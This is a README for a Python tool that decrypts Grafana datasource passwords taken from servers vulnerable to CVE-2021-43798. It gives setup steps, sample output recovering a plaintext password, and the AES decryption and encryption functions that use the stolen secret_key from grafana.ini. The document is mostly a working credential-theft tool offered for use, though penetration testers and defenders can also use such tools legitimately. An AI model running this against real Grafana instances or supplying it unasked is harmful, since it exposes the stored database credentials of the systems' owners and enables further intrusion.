This script decrypts the DataSource passwords from a Grafana instance vulnerable to CVE-2021-43798, which allows unauthorized arbitrary file reading.
Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a directory traversal vulnerability that allows unauthorized users to read arbitrary files on the server. This script exploits this vulnerability to decrypt DataSource passwords found in the grafana.db
file using the secret_key
found in the grafana.ini
configuration file.
- Python 3.6+
- The following Python libraries:
requests
questionary
termcolor
cryptography
- Clone the repository or download the script.
- Install the required Python libraries:
pip install requests questionary termcolor cryptography
- Ensure you have the
grafana.db
andgrafana.ini
files from the target Grafana instance. - Run the script to decrypt the DataSource passwords.
python decrypt.py
You can also encode a plaintext password using the script by uncommenting the example code in the script.
The script determines the encryption algorithm used by analyzing the payload. The default encryption algorithm is aes-cfb
.
Using the derived encryption algorithm and the secret_key
from grafana.ini
, the script decrypts the DataSource password.
The script also includes functionality to encrypt a plaintext password using the same encryption method and secret_key
.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
These functions handle the decryption and encryption processes.
Feel free to open issues or pull requests if you find any bugs or have suggestions for improvements.
This project is licensed under the MIT License. See the LICENSE file for details.